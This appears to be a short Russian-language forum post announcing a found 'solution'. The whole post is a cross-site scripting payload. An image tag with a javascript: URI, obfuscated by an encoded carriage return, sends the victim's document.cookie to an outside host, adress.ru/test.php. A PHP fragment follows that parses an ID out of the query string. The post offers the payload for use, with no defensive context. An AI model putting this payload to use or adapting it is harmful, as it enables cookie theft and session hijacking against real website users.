Точно! решение найдено
<image src=javascript&#13:window.location.href="http://adress.ru/test.php?"+document.cookie;>

<?
$nomer=strpos("$QUERY_STRING","rm_")+3;
$id=substr("$QUERY_STRING","$nomer",35);
?>